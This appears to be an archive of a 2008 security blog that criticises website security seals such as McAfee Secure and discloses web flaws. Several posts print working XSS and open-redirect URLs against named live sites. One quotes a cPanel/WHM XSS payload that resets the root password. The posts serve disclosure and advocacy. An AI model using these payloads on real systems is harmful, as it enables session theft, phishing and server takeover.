The McAfee Secure Standard: Sort Of

I need your help.
I am in receipt of the McAfee Secure Standard, drafted to transparently describe the McAfee Secure service, as promised during my meeting with Joe Pierini and Kirk Lawrence of McAfee some weeks ago. I admit my attitude has soured since last I discussed it here, as the Standard is not yet ready for public release (I last said 2-3 weeks and that was five weeks ago), but bear with me. I can't publish exact quotes from the Standard, as I've promised not to, but let me give you insight on the upside, then the downside.

The upside includes all the transparency we'd hoped for. You'll read the McAfee Secure Standard and know exactly where they stand with regard as to what can be expected of the McAfee Secure Service. My discussions with Joe Pierini have been productive and respectful; he means well, and I believe he will try to drive the greater McAfee leadership to officially incorporate suggestions made in this blog.
I have even had the pleasure of reading a Researcher/Finder Policy that very succinctly describes what researchers can expect when they submit vulnerabilities found in McAfee Secure sites. That's all good stuff and to be applauded.

Now for the downside.

The McAfee Secure Standard will draw a clear distinction between "enterprise" customers and all the Ma & Pa websites who have so loved McAfee Secure / ScanAlert Hacker Safe for conversions.
The most glaring and painful distinction for me is this. While enterprise customers will have a clearly defined time line in which to remediate script injection vulnerabilities like XSS and open redirects, before losing their McAfee Secure badge, the Ma & Pa sites will have absolutely no requirement to fix their XSS issues. XSS vulnerabilities and the McAfee Secure badge will remain consistent on all those sites that care more about "convincing" their customers that they're secure with a McAfee Secure badge; a badge that, by its own pending standard, will contradict what we know to be truly secure.

My views are clear. I have made every effort to convince McAfee that this stance is counter intuitive to good web application security standards. I believe that, in their own way, they are listening. So here's your chance.
1) Is transparency enough?
2) Is holding only enterprise customers accountable acceptable?
3) Should ALL McAfee Secure customers be expected to fix their vulnerabilities, even if on different timelines?
4) What else do you want McAfee to hear, in the form of constructive feedback only?
I will publish all well written, thoughtful comments here. Let's keep it positive and see if we can help convince McAfee that script injection vulnerabilities and McAfee Secure can't exist in the same physical space. Like matter and anti-matter. ;-)
The floor is yours...

del.icio.us | digg | Submit to Slashdot

FileAdvisor: software file search engine

Troy Larson sent me a heads up on Bit9's FileAdvisor, a service they describe as "a comprehensive catalog of executables, drivers, and patches found in commercial Windows applications and software packages. Malware and other unauthorized software that affects Windows computers is also indexed."
I immediately checked the FileAdvisor db for malware results as well non-Windows binaries and was pleasantly surprised with immediate and comprehensive results. You do have to register, but I was further impressed with the fact that they offered the option for a short or full registration.
This appears to be worthy of a bookmark in your incident handler/malware researcher/forensic investigator toolkit.

del.icio.us | digg

Hype Alert: Internet Shopping Carts Are Secure

My blog reader fed me a nugget today that set off my hype monitor, specifically a post entitled Internet Shopping Carts are Secure.
OMG...really?
To be fair, I realize the author is speaking from the eCommerce perspective, rather than that of an information security practitioner, but here's where the trouble begins:
"Shopping cart service providers have developed secure ecommerce shopping cart solutions for any business owner looking to enhance their current online store, or create a new one. Some ecommerce shopping cart solution providers are even receiving PABP (Payment Application Best Practice) certification which supports PCI compliance requirements for all businesses accepting credit card payments online."
This may be true in part, but it is by no means an all-inclusive claim. Shopping carts continue to be sieve-like, even when apparently reviewed per PCI standards.
Allow me to elaborate.
We'll kick off our hype eliminating effort with a simple Google dork: inurl:"cart.cfm" (picking on ColdFusion again, but man, they make it easy)
GM Parts Direct: Your Shopping Cart jumped right out at me for a number of reasons.
First, I sensed XSS vulns lurking like a Geiger counter senses radiation. Sound effect for edification. :-)
Second, the page contained one of the growing number of aforementioned conversion-driving website security seals.



Tick, tick, click...the Gieger counter is getting louder.
Trustwave claims that the site operator "is enrolled in Trustwave's Trusted Commerce™ program to validate compliance with the Payment Card Industry Data Security Standard (PCI DSS) mandated by all the major credit card associations including: American Express, Diners Club, Discover, JCB, MasterCard Worldwide, Visa, Inc. and Visa Europe."
Methinks that Trustwave's Trusted Commerce program is missing a few fundamental security checks. Remember, XSS in PCI regulated sites, according to the PCI DSS, indicates that a site is not compliant (see section 6.5.4) if vulnerable to XSS.
Uh-oh.

All it takes is a fake login page, as opposed to our friends at XSSED.com, and...well, you get the point.
Simply, this is one of an endless number of shopping cart not secure, and not PCI compliant. For shame. You need only browse the Holisticinfosec.org Advisories page to find multiple ecommerce platforms and shopping carts that are missing the mark. Trust me, these are a fraction of the problem.
ecommerce<>security
ecommerce<>SDL
ecommerce<>PCI
website security seal<>security
russ=frustrated
Sigh.

del.icio.us | digg

XSF & XSS: Double your pleasure, double your fun

If you've read this blog, or those of my peers, you're likely quite familiar with cross-site scripting, and the problems associated with open redirect vulnerabilities. A vulnerability you may be less familiar with is cross-site framing, which largely couples the best of both above-mentioned vulnerabilities.
What then, if there's a cross-site framing vulnerability coupled with cross-site scripting in the content offered by the frame? All sorts of problems come to mind: phishing, malware, credential theft; all arguably twice removed from the attacker's source, tucked away in the context of two victim sites.
First, I'll discuss the original XSS issue that led to this finding.
Recently, I was investigating a flawed parameter in Openhire, a career posting vendor used by major companies like Crate&Barrel, Eileen Fisher, Enterprise, Benjamin Moore, Scottrade, and Getty Images.
Most of these sites simply link to the Openhire offering that hosts job postings on their behalf which, in turn, has been crafted to look like the referring site.
As an example, here's Scottrade's employment page hosted by Openhire.

http://hostedjobs.openhire.com/epostings/jobs/submit.cfm?version=1&company_id=15624

Standard stuff, looks nicely like the Scottrade site, so everything's cool, right?
Wrong? What if someone hosting a service on your behalf suffers a security gap?
You're only as strong as your weakest link!
Here's the posting for an Application Security Engineer (funny, eh?) at Scottrade as hosted on their behalf by Openhire:

http://hostedjobs.openhire.com/epostings/jobs/submit.cfm?fuseaction=dspjob&id=23&jobid=130527&company_id=15624&version=1&source=ONLINE&JobOwner=976367&level=levelid3&levelid3=18247&parent=St.%20Louis%20Corporate%20Headquarters%3B%3B%3BInformation%20Technology%3B%3B%3BSecurity&startflag=3&CFID=66851845&CFTOKEN=29a95-d12594d4-47d9-49e8-9067-1091bdf68e80

Now here the same job posting spewing massive cookie data:

http://hostedjobs.openhire.com/epostings/jobs/submit.cfm?fuseaction=dspjob&id=23&jobid=130527&company_id=15624&version=1&source=ONLINE&JobOwner=%22%3E%3CSCRIPT%3Ealert(document.cookie)%3C/SCRIPT%3E&level=levelid3&levelid3=18247&parent=St.%20Louis%20Corporate%20Headquarters;;;Information%20Technology;;;Security&startflag=3

Screen shot offered below, as the code above will likely be repaired very soon by Openhire. I notified them this past Thursday.



It's bad enough when there's an application security hole in code someone else is hosting on your behalf, but what if your method of displaying said code is also at risk? Enter the Getty Images Jobs page.

http://www.gettyimagesjobs.com/gettyImagesJobsDisplay.html?http://hostedjobs.openhire.com/epostings/jobs/submit.cfm?fuseaction=careeropps&startflag=0&company_id=15531&version=2&CFID=12265212&CFTOKEN=60213778

Watch what happens when you pull the Openhire code. Can you say self-replicating frame loop from hell (in Firefox)? Trust me your browser will crash if you leave this running too long. This will likely be fixed soon, so if the URL doesn't work, the screen shot exemplifies the issue.

http://www.gettyimagesjobs.com/gettyImagesJobsDisplay.html



What if, instead of Openhire's Getty Images page, or nothing at all (which obviously creates its own issue), we drop in an arbitrary URL?
Yep, you guessed it.

http://www.gettyimagesjobs.com/gettyImagesJobsDisplay.html?http://www.xssed.com/news/26/Cross-site_framed/



Now, bringing it all home for double the pleasure, double the fun, what if we coupled the original Openhire cross-site scripting vuln with Getty Images' cross-site frame vuln?

It hurts twice as much, in my book.

http://www.gettyimagesjobs.com/gettyImagesJobsDisplay.html?http://hostedjobs.openhire.com/epostings/jobs/submit.cfm?fuseaction=dspjob&id=23&jobid=130527&company_id=15624&version=1&source=ONLINE&JobOwner=%22%3E%3CSCRIPT%3Ealert(document.cookie)%3C/SCRIPT%3E&level=levelid3&levelid3=18247&parent=St.%20Louis%20Corporate%20Headquarters;;;Information%20Technology;;;Security&startflag=3



The lessons learned:
1) Ensure your partners are writing secure code on you behalf.
2) Ensure that the code you utilize to incorporate said partner's code is also well written. ;-)

Double the headache, double the dumb.

del.icio.us | digg

EstDomains & Intercage: A Perfect Couple in Crime

If you track malware issues as readily as I do, you're likely aware of the failings of clownpacks like EstDomains and their hosting buddies Atrivo/Intercage. You need only follow Sunbelt's take on the topic, or search Emergingthreats to come up to speed.
Yesterday, EstDomains posted the most inept, ridiculous response ever issued to the endless and worthy criticism, largely leveled by Brian Krebs at the Washington Post.
Not only can't these morons from EstDomains write, they're either so deeply clueless or flagrantly malicious (likely both), it's beyond laughable. This section sums it up best:
"The company also has a reliable ally in its battle against malware in a face of Intercage, Inc which provides company with the hosting services of the highest quality. But the outstanding performance of hosting services is not the sole reason why EstDomains, Inc appreciates this partnership so greatly. Intercage, Inc generously provides EstDomains, Inc specialists with reports regarding discovered malware vehicles. As the main database for additional domain name management services is located in Intercage Data Center, EstDomains, Inc has the perfect opportunity to get notifications of the slightest mark of malware presence in the shortest time and take measures in advance."
What? Really?
Again, aside from the absolute butchery of the language, did they just say "The company also has a reliable ally in its battle against malware in a face of Intercage, Inc which provides company with the hosting services of the highest quality."? SIGH...yes, they did.

Allow me to exemplify just how ridiculous a claim that is.
Following is content from a packet capture I took during a recent Storm worm analysis.

Using the ip2asn module included in NSM-console availabe in HeX, we find:
27595 | 216.255.189.211 | INTERCAGE - InterCage, Inc.

Using Etherape, also included in HeX, we see:



Using Eric Hjelmvik's NetworkMiner, we see:



See the recurring theme? Intercage, EstDomain's "reliable ally in its battle against malware".
Nice work, guys...keep it up.

I'm submitting this to The Daily WTF as we speak.

del.icio.us | digg

XSS fortune cookie

Forgive me in advance for an extremely bad joke, if you can even call it that, but I just can't help it.
Here's how to get an XSS fortune cookie:

1) Ask the mighty Google oracle who might be able to tell you your fortune.
http://www.google.com/search?hl=en&q=tell+my+fortune&btnG=Search&lr=lang_en

2) Select one of the sponsored links; in this case I chose SpritualExperts.com.

3) Pick a variable. I settled for banid.

4) Ask it if it has a cookie for you.
http://www.spiritualexperts.com/psychic_reading/psychic_reading.asp?banid=%22%3E%3CSCRIPT%3Ealert%28document%2Ecookie%29%3C%2FSCRIPT%3E

Voila...an XSS fortune cookie. Sorry. Really, I am.

The webmaster has been advised...play nice.

Screenshot for after they fix the issue.



del.icio.us | digg

McIrony: An unexpected response from McAfee

Irony: incongruity between what might be expected and what actually occurs.

Right before Black Hat, I put together what I believed was a pretty strong arguement against McAfee Secure - Hacker Safe, at a level heretofore unexplored. I believe it was more damaging than anything I've said to date, and as such, presented potential risk for me. So I ran it by some friends before publishing it. Then a most extraordinary thing happened. I had a long chat with Nate McFeters, who described an awakening he'd recently experienced. He shared with me the belief that a better approach to potentially negative security research might be to try to create a positive outcome, and worry less about press cycles or exposure, the 15 minutes of fame if you will. He pointed to people like Mark Dowd as an example of people who conduct crushingly good research, and steer clear of the petty, ego driven bulls**t.
There I sat, repose like the thinking man, frozen for minutes. "Nate", I said, "I think you're right."
What do I aspire to as an information security professional; more readership or street cred than the next guy, or the respect of my peers for contributing to the greater good? Attention, press cycles, 15 minutes...it all has its allure, trust me on this.
But at the end of the day, I really do want to contribute to the greater good.
So I did something different. I sent my findings to McAfee and offered them an opportunity to respond, rather than publish first, ask questions later.
Here's the real kicker.
They responded.
I had a three hour lunch this past Thursday with two gentlemen from McAfee, who flew up from the Bay Area to Seattle to have a face to face with me. This, all by itself, speaks volumes to me. In addition to meeting with Kirk Lawrence, the new Director of Product Management for McAfee Secure, there I sat with, of all people, Joe Pierini, the very guy who has suffered more than his share of abuse, up to and including the Pwnie. As I have been a direct contributor and participant in heckling Joe, you can imagine our meeting could have been uncomfortable. It was not.
I have had expectations of McAfee and Scan Alert that to date have not been met, or my (your) perception has been that they have not been met.
This meeting was designed as an opportunity to voice some of these expectations, and see if McAfee, in turn, believed there was any merit to them.
Surprisingly, at least as spoken, we weren't all that far apart.
While, as a naive idealist, I believe that security should come before conversions, I am also grounded enough of a realize that the most attainable goal can be a marriage of both. This premise frames my expectations of McAfee.
Can they not be more of a "thought leader" for all the Ma & Pa websites who rely on McAfee Secure, first for a higher conversion rate, then security?
Can they not hold merchants to a higher standard, without alienating them and losing business?
Can they not embrace the security research community in a fashion that McAfee, the security community, the merchants, and consumers can all benefit from?
Can they not be more transparent in their approach, providing more details and feedback about their methods, their findings, and their vision?
I know McAfee Secure - Hacker Safe scans can find vulnerabilities.
I know they report the vulnerabilities to merchants.
What happens thereafter is where things begin to break down.
Can the scan engine be improved to find more vulns? Sure. That's really not that big a deal; technology can always be improved.
But, regarding holding merchants to a higher standard; therein is the whole point of this debate.
Anyone can throw a badge on a site.
But what happens when the site proves vulnerable is the key. I'll be candid here: I don't give a damn about the merchant at that point; it's the consumer who is at risk and needs something better from McAfee and their peers.
So, here begins a different approach. I know that making changes at a company the size of McAfee can be likened to the three miles it takes to turn around an aircraft carrier. I'm willing to work with them, and allow for a positive outcome.
I have been told that, in two or three weeks, we can expect a published standard, that clearly defines exactly what the McAfee Secure product offering adheres to, inclusive of their expectations for merchant remediation timelines, potential badge downgrades for unresolved vulnerabilities, and hopefully even a more clear stance on XSS.
I have been told that I will have the opportunity to discuss this standard, and invite feedback. Any standard is better than no standard.
I have also been told that this is just the beginning of changes that will lead to more of what I have hoped for in my expectations, over the next 6 months or so.
I am hopeful that we can take McAfee at their word, and even if slowly, see a positive outcome.

del.icio.us | digg

ColdFusion: Hack Me or Help Me

For your consideration, the endless battle between security and convenience.
Front and center: ColdFusion.
I've been picking on ColdFusion-built apps again a bit lately, and one of my observations has been that consistently, if mismanaged, the verbose error reporting features in ColdFusion can be really problematic.

HIO-2008-0713 JOBBEX JobSite SQLi & XSS
HIO-2008-0729 BookMine SQLi & XSS

Recently, I stumbled on an example of way too much information disclosure in a few sites running a ColdFusion-built CMS. The error reporting was so verbose it included the base path, data source name, database username, and yes, the database password.
I've cleaned it up for the protection of all involved, but here's a screen shot of only 1/4 of the details this site coughed up when I tweaked the input to a calendar date variable.



When I reached out to the developers of this app (always and immediately responsive), they assured me that this was not due to a flaw in the app, but that the "information should be protected, and is by default for our installations" and that the client disabled the security check and turned debugging on. I accept this explanation entirely, but it leads to the classic debate around the dangers of mismanaged debugging features, be they developer added or ColdFusion feature driven. Stupid user tricks are always an issue, but how much rope should they be given to hang themselves? Does error reporting really need to include the database username and password?

Allow me to present a few different perspectives.
First, rvdh's take on Attacking ColdFusion. Developers can learn a lot from this post, if only in that it precisely points out attack vectors. Ronald sums up my concerns aptly:
"As we know, error messages are important. Especially error messages generated by database software we want to inject. This, is useful for obtaining information about table structures that can be a real time-saver for attackers. If the right information is available, attackers do not have to guess database tables and fields anymore, nor having to brute force them. I have never seen so much information regarding the site's structure, used database, table names, drivers, server setup and other information useful for attackers that those of ColdFusion. It almost says: Please Hack Me!"
As I can't presume to improve on this stance, I won't. Well said.

Next, a developer's take on the issue from Joshua Cyr, who has declared it Check Your Error Output Day. Joshua highlights two key points:
1) Do NOT enable the robust errors setting in CF Administrator.
2) Don't forget to remove debugging dump code.
Heed this advice, ColdFusion fans!

One destination that all "secure" ColdFusion paths should lead to is the use of cfqueryparam. Ronald spells it out well mid way through his discussion, and so do the following resources:
coldfusionjedi
Coldfusion Muse

Further excellent resources for ColdFusion security issues:
SQL Injection Part II (Make Sure You Are Sitting Down)
12Robots.com

In closing, security and convenience needn't always be at odds, but often allowing for both requires a higher state of awareness for developers and end-users. Let common sense prevail; perhaps it'll give me less to do in the way of research. ;-)

del.icio.us | digg

NIST revises SP800-60 Volume 1: Go forth and classify

According to GCN, NIST has released a revision to SP800-60 Vol 1 and Volume 2. The two-volume Special Publication 800-60 Revision 1, “Guide for Mapping Types of Information and Information Systems to Security Categories,” is a revision of guidelines published in 2004.
Asset and data classification is the keystone to building proper protective schemes. Simply, if you don't know what you have, you can't apply the appropriate levels of value and importance.
SP 800-60's intro reads:
"The identification of information processed on an information system is essential to the proper selection of security controls and ensuring the confidentiality, integrity, and availability of the system and its information. The National Institute of Standards and Technology (NIST) Special Publication (SP) 800-60 has been developed to assist Federal government agencies to categorize information and information systems."
Give this document a read; while it is geared to a federal agency audience, it is entirely useful for baselining your own classification process.

Cross-site scripting CAN be used to hack a server

UPDATE: They won the Pwnie for this at Black Hat! More surprising is the fact that allegedly someone from McAfee showed up to accept. At least they have a sense of humor. More details soon.

Likely you remember when Joseph Pierini at McAfee Secure / Hacker Safe said XSS wasn't important because "cross-site scripting can't be used to hack a server. You may be able to do other things with it. You may be able to do things that affect the end-user or the client. But the customer data protected with the server, in the database, isn't going to be compromised by a cross-site scripting attack, not directly."
That gem has made McAfee Pwnie worthy (winners announced tomorrow!); may the Lamest Vendor win.
That said, anyone with a clue knows that XSS attacks are ideal for credential theft, and if you can steal credentials, you can hack a server.
Looking for a textbook example? Check out mckt's new blog, skeptikal.org.
Here's a highlight:
"Every cPanel user's account contains a file titled .contactemail in its home directory. This is used to tell the server and administrators who to email when things go south, and can be changed by the user through the cPanel interface, the file manager tool, FTP, or through local scripts. It's only a text file, after all. Assuming we set our email address to:
"onmouseover="alert(1337)
When the friendly system administrator tries to reset our email address (because we forgot our password, obviously), he will receive an alert box in his browser.
But an alert box doesn't really demonstrate anything. Fortunately the WHM (Web Hosting Manager) interface has enough functionality that we can perform just about any system-level task we want. This one will reset the root password to 'owned':
"onmouseover="f=document.forms[0];f.action='/scripts/passwd';f.user.value='root';
f.removeChild(f.domain);d=document.createElement('input');f.appendChild(d);
d.name='password';d.value='owned';d=document.createElement('input');f.appendChild(d);
d.name='password2';d.value='owned';f.submit()
Of course, the only limit is your imagination- WHM can set up cron jobs, add and delete users, send full backups to a server of your choice, and reformat hard drives."

Hmm...I'd say that would be a server hack. ;-)
Welcome, Mike...keep up the good work.

del.icio.us | digg

The Bitrix open redirect vulnerability: a lesson in the absurd

I try to limit my heckling to McYouKnowWho, but I just stumbled across an issue I couldn't leave alone.
If you've been keeping up on recent articles I've published, you know open redirect vulnerabilities really bother me; thus Open redirect vulnerabilities: definition and prevention in (IN)SECURE Issue 17.
Sidebar: I recently spotted a great academic paper on the same issue by Shue, Kalafut, and Gupta at Indian University. Definitive, to say the least.
Back to the issue at hand. It should have occurred to me to check for this earlier; write it off to being busy. Allow me to spell it out simply.

1) On May 2nd, 2008, I published a open redirect vulnerability in Bitrix Site Manager 6.5, specifically CVE-2008-2052.

2) The vulnerability is a simple one to reproduce, easily exploited by phishers and malware propagators. The issue is still unresolved by the vendor, so here's an example, still available, from their site:
http://www.bitrixsoft.com/bitrix/redirect.php?event1=demo_out&event2=
sm_demo&event3=pdemo&goto=http://www.xssed.com/news/29/
The_dangers_of_Redirect_vulnerabilities/
Obviously, the fact that I can send you to XSSed.com's fine explanation of the issue, in the context of the vendor's site, is a no-no in Web App Sec 101. In May, the vendor responded, saying they'd fix it, but I've not received the promised communication that they have. Their own site certainly hasn't been mitigated, so we'll see.

3) One of the sites I found exhibiting this vulnerability while researching the issue via Googledork is http://en.securitylab.ru.

4) The same day, en.securitylab.ru posts their version of the CVE vulnerability advisory for the Bitrix vulnerability.

5) As a reference, en.securitylab.ru links to my original advisory USING THE EXACT SAME VULNERABLE REDIRECT SCRIPT!
http://en.securitylab.ru/bitrix/redirect.php?event3=352513&
goto=http://holisticinfosec.org/content/view/62/45/

To this day, neither the vendor's site, nor Security Lab's site have been mitigated.
A malicious attacker could send a "security advisory" in a phishing email, supposedly from Security Lab, and redirect the victim to another web site, likely also somewhere in Russia, and laden with malware.
This could be a candidate for Pwnie Award 2009. ;-)

Common, people...fix it!

del.icio.us | digg

McAfee's Hacker Safe nominated for a Pwnie

Updated 7/22/08: The Pwnies have added Cresta Pillsbury's gem: "We go in like a super hacker." Bless McAfee | Scan Alert for lameness like this, it'd be hard to make this stuff up.
Mondays don't usually include such glorious highlights but I'll gladly pass on this exception. The Pwnie Awards 2008 nominations are out, and under Lamest Vendor Response we find McAfee's Hacker Safe, specifically Joesph Pierini's response to the findings XSSed.com and I gave to Thomas Claburn for publication in Information Week this past January.
Joseph Pierini, director of enterprise services for the "Hacker Safe" program, stepped in it when he said that XSS vulnerabilities can't be used to hack a server:
Cross-site scripting can't be used to hack a server. You may be able to do other things with it. You may be able to do things that affect the end-user or the client. But the customer data protected with the server, in the database, isn't going to be compromised by a cross-site scripting attack, not directly.
As you can imagine, this one gets my vote.
Winners will be announced at the BlackHat USA reception at Caesar's Palace, Las Vegas on Wednesday, August 6th, 2008.
Should you wish further reading on the McAfee Secure / Hacker Safe fiasco, you need only utilize this query or refer to all of Nate's coverage on Zero Day.
I must admit, I'm curious who McAfee will have at Black Hat to receive this prestigious award should they win. I'm torn between suggesting Brett Oliphant or Pierini himself. ;-)
Cheers.

del.icio.us | digg

OSF DATA LOSS db a valuable resource

As a longtime reader of the The Data Breach Blog, I was pleased to learn that care and feeding of Attrition.org's Data Loss Database has been assumed by the Open Security Foundation. Check out the DATA LOSS db at your earliest convenience, join, and support.
From the site, the OSF Data Loss database is a "research project aimed at documenting known and reported data loss incidents world-wide. The effort is now a community one, with the move to OSF, and relies on the contributions of users like you to grow and prune the database."
Do your best not to find yourself an entry in this database. ;-)

Visualized Storm fireworks for your 4th of July

As expected, the Storm botnet maestros have queued up some pwnage for your 4th of July.
See the SANS diary for all the details.
Upon receipt of my first fireworks.exe sample this evening, I went through the standard routine and ran it through the analysis mill. Like the ISC said, not much new here, but if you'd like the nitty-gritty, I've put the analysis report here, the peers config list here, and the pcap here.
However, what I was really inspired to do this evening was visualize the pcap with Raffael Marty's AfterGlow. His new book, Applied Security Visualization, is coming out next month, so we can turn old Storm news into a celebration of the 4th and the pending release of Applied Security Visualization. By the way, Raffael's visualization workshop slides from the 20th Annual FIRST Conference in Vancouver, B.C. last week are here, and mine regarding Malcode Analysis for Incident Handlers are here.
So, a little AfterGlow magic,
tcpdump -vttttnnelr /home/rmcree/pcap/fireworks.pcap | ./tcpdump2csv.pl "sip dip ttl" | perl ../graph/afterglow.pl -c /home/rmcree/afterglow/src/perl/graph/color.properties -p 2 | neato -Tgif -o fireworks.gif, and the results look just like the fireworks we hoped they would.
Happy 4th of July everyone!
Except you Storm a$$hat$. ;-)



del.icio.us | digg

XSS Comedy at McAfee Secure's Expense

In celebration of the deadline for PCI Requirement 6.6 compliance as of June 30, 2008, I thought I'd share a little web app sec comedy at McAfee Secure's expense.
As well you should know by know, the existence of XSS vulnerabilities in a site that is required to meet PCI DSS standards means that the site IS NOT PCI COMPLIANT. Very simple, right?
Let's consider the McAfee Secure/Hacker Safe-branded site for Organize-It.
A seemingly handy site, perfect for your HGTV types, likely with healthy credit card limits. Uh-oh, here it comes. Oh yes, Organize-It handles credit cards and is thus beholden to PCI DSS.
Organize-It is also proudly displaying a current McAfee Secure badge, indicating that it's tested daily.
Given the focus of many a recent discussion it shouldn't shock you that Organize-It is vulnerable to XSS.
What's funny is what Organize-It does with regard to "handling" malformed requests.
Where a typical test string for XSS might be " script payload /script (characters removed or Blogger will let me XSS myself), you won't get much use from such a string via either direct form submittal or URL encoding. But when the site barfed up '; // LEAVE THIS VALUE var sli_cId = 90;, while under investigation, my ruh-roh meter went off.
I decided to play with my trusty marquee test and found interesting results. The actual search form field is limited to 41 characters (er?). So my complete string of " marquee message /marquee didn't fit for direct submittal BUT THE MARQUEE RENDERED ANYWAY! Basically, half the test string worked: " marquee h1 This_site_is_NOT_McAfee_S
Forget the marquee tag on the blacklist, did we?
But here's the real icing on the cake. The uber-intuitive search index reinterpreted my message with what I can only imagine are index keywords. Thus "This site is NOT McAfee Secure" scrolls across the Organize-It site as "this sit is not coffee secure".
OMG! My daily quad shot Americano has been pwn3d to the core!
Here's the URL if you don't believe me, or the video if you prefer.
Forget PCI compliance, bring on the Gong Show hook, Chuck!
Cheers.

del.icio.us | digg

PC Universe is shrinking thanks to McAfee Secure's cluelessness

My web app sec friends know exactly how to push my red buttons. "Heh-heh, send it to Russ, he'll go off." Yep. ;-) Thanks, Rafal. Now I'm all spun up. I was sent two moronic gems this morning; one on the merits of McAfee Secure / Hacker Safe and the 109% sales increase it resulted in for PC Universe, the other an interview with the Internet's single biggest dillweed, Cresta Pillsbury. These articles are both a bit dated, but they equally embrace the premise of "trust" logos as a predominant sales driver, rather than any actual motivation to secure a site and protect consumers.
An example:
"If you’re doing conversion marketing and statistical testing on your website and you haven’t explored trust logos yet, then you’re missing out."
I must be the most naive person in the world; this enrages me. When will the idiots who write this crap get a clue? They've bought right into the hype the snake oil salesmen hoped they would and are now complicit in their failures.
Case in point, as seen in the Internet Retailer piece. By the way, I realize that Internet Retailer and basic web application security practices are completely at odds (as proven here), but this one deserves direct abuse.
"PC Universe first tested Hacker Safe on its own site in an A/B split test in which half the visitors saw the Hacker Safe seal and half did not. During that test, 7.3% more orders came from Hacker Safe shoppers than from the control group. PC Universe, which operates on the web at PCUniverse.com, is No. 360 in the Internet Retailer Top 500 Guide."
Really? Let's see what McAfee Secure / Hacker Safe has done to actually provide any measurable security benefit.
How about absolutely nothing.
Here's PC Universe's very current, verified McAfee Hacker Safe cert.
Now, here are a few ridiculous examples of reality from the this universe as opposed to the McAfee-twisted alternate universe. Please note, this is the "accountid" variable, and the fact that the marquee is rendered no less than eight times.
1) Marquee Remediated 6/30/08
2) XSS Deface Remediated 6/30/08
3) Cookie Remediated 6/30/08
Kudos for the quick fix PC Universe.
If you rather just see a video of these vulns, it's here.
PC Universe, rather than lauding your sales increases thanks to some POS logo, try securing your site code. I guarantee you have other issues.
McAfee Secure, once more, you are simply fraudulent to the core.

del.icio.us | digg

Open redirect vulnerabilities article - (IN)SECURE Issue 17

I've written a comprehensive piece on the dangers of open redirects that's been published in Issue 17 of (IN)SECURE Magazine. Page 43 for your reading pleasure.
"An open redirect is a vulnerability that exists when a script allows redirection to an external site by directly calling a specific URL in an unfiltered, unmanaged fashion, which could be used to redirect victims to unintended, malicious web sites."
This issue is a giant pet peeve of mine; the article is intended to increase awareness of the dangers of this vulnerability and promote mitigation.

del.icio.us | digg

Live from the 20th Annual FIRST Conference

I've been at the FIRST conference in Vancouver, BC this week presenting, attending great presentations, and meeting a fantastic group of people.
I'd like to applaud some great presenters I've seen so far, including Par Osterberg Medina (Detecting Intrusions), Anton Chuvakin (Log Analysis), Raffael Marty (Applied Security Visualization), and Steve Mancini (RAPIER).
I've also been advised of some tools for your consideration, to aid in the security analysis / incident response cause, as well as possible topics for toolsmith.
Take a look at these, if you aren't already familiar with them:
BitBlaze - Binary Analysis for COTS Protection and Malicious Code Defense
F-Response - The First Truly Vendor Agnostic Solution for Remote Forensics and eDiscovery
Maltego - Maltego is an open source intelligence and forensics application. It allows for the mining and gathering of information as well as the representation of this information in a meaningful way.
The Volatility Framework - Volatile memory artifact extraction utility framework
Thanks to Richard Bejtlich for pointing out F-Response and Volatility and Steve Mancini for BitBlaze and Maltego.

On another front, in support of Eva Chen's (Trend Micro) recent claim that the anti-virus industry sucks, John Stewart of Cisco, in his keynote this morning, reiterated the premise that the fight against malware is a lost cause. The point he was really driving at is the downfall of blacklisting and that whitelisting is essential given that "the total good is smaller than the total unknown and bad". This, as his fourth postulate of many good postulates this morning, truly supports my own beliefs. I'm more focused on whitelisting in the web application security space, but the premise is the same. If the vast majority of requests to secured elements of your applications are bad, then simply deny all, and allow only that which you trust.

More to come...

del.icio.us | digg

CIAC Tech Bulletin on XSS a valuable reference

The only fault I could possibly find in the recently released CIAC Technical Bulletin, CIACTech08-003: Understanding Cross-Site Scripting (XSS), is that it should have been released a year ago or more. ;-)
But rather than nitpick, I'd like to applaud.
This is a fine effort, with a number of good resources cited.
You'll find content on the types of cross-site scripting, including DOM, non-persistent, persistent, and CSRF. Additionally, you'll note methods of protection and reference links to content on Htmlspecialchars, Htmlentities, and Giorgio Maone's NoScript.
This is a great starting point for enlightening vendors, developers, and IT folk who may not be as up to speed as you might like on the concerns caused by XSS vulnerabilities.
Given the fact that stories continue to surface on the shortcomings of major security vendors, and their utter lack of diligence with regard to XSS, as well as efforts to further enlighten the masses, this is a valiant effort.
Well done, CIAC.

del.icio.us | digg

SaaS Snake Oil Top Ten, with video

As I was happily sniffing about for more annoying vendor fodder a few nights ago, I found a true gem. I was actually investigating ControlScan's practices and came across some poor hapless site owner that had been manipulated into buying both the ControlScan service and McAfee Secure / Hacker Safe by not one, but two snake oil salesmen.
This site was bound to be secure, right? Wrong!
Here's a new video to detail the inadequacies of both these services, at the same time.
But, as my disdain for these con artists grew yet stronger, it occurred to me (with the suggestion of an unnamed accomplice) that we needed a Letterman-like Top Ten list.
In this case SaaS will denote scanning as a service, rather than software or security, as security is the last thing these daft gits offer. These are all real statements, claims or quotes from these so called services.

Top Ten 10 signs the SaaS sales guy in front of you if offering up snake oil.

10. We first scan for open ports.
9. If you're interested in increasing your conversions, I'd suggest you sign up for WebSafe Shield.
8. Al Gore is on our board.
7. We held a hacker contest to break our security, and no one did.
6. We want to be the trusted partner who’s at your side, day by day, year to year,to help your business grow.
5. Increase your conversion rate or double your money back!
4. Our Web-based PCI Compliance 1-2-3 solution includes everything you need.
3. The "Verified Secure" mark appears only when a web site's security meets the highest security scanning standards of the U.S. government.
2. Unfortunately, the automated scanning technology we use doesn’t have this XSS scanning.
1. We go in like a super hacker.

There will be no rest for their souls in the afterlife; the web app security gods have a special in hell for salesmen and companies like this. ;-)

del.icio.us | digg

Blue River's stance on Sava security stands out

It's been awhile since I've had something nice to say, and the golden opportunity to rectify that issue has presented itself in the discovery of some vulnerabilities in Sava CMS from the Blue River Interactive Group.
At 9:29pm May 19th, I sent a note to Blue River pointing out an XSS vulnerability. I received a reply from Malcolm at 9:46pm (yes, 17 minutes later), stating that the issue would be addressed immediately and asking if I had questions or suggestions.
Wow! Really?
The lonely life of security dork/vuln researcher sometimes has its rewards. I offered to take a deeper look at Sava, with their permission, which Malcolm immediately granted. After further inspection, I noted a SQLi issue as well, but the update they'd already released had fixed the issue on other sites where the update had been applied. So, in what really amounts to 48 hours, the Blue River team went after the issues with a vengeance, and addressed them appropriately (and obviously quickly).
It's no secret that I am giant open source proponent, and Sava fits that definition in every way, not just their application but their open communication, pride in their product, and concern for their users.
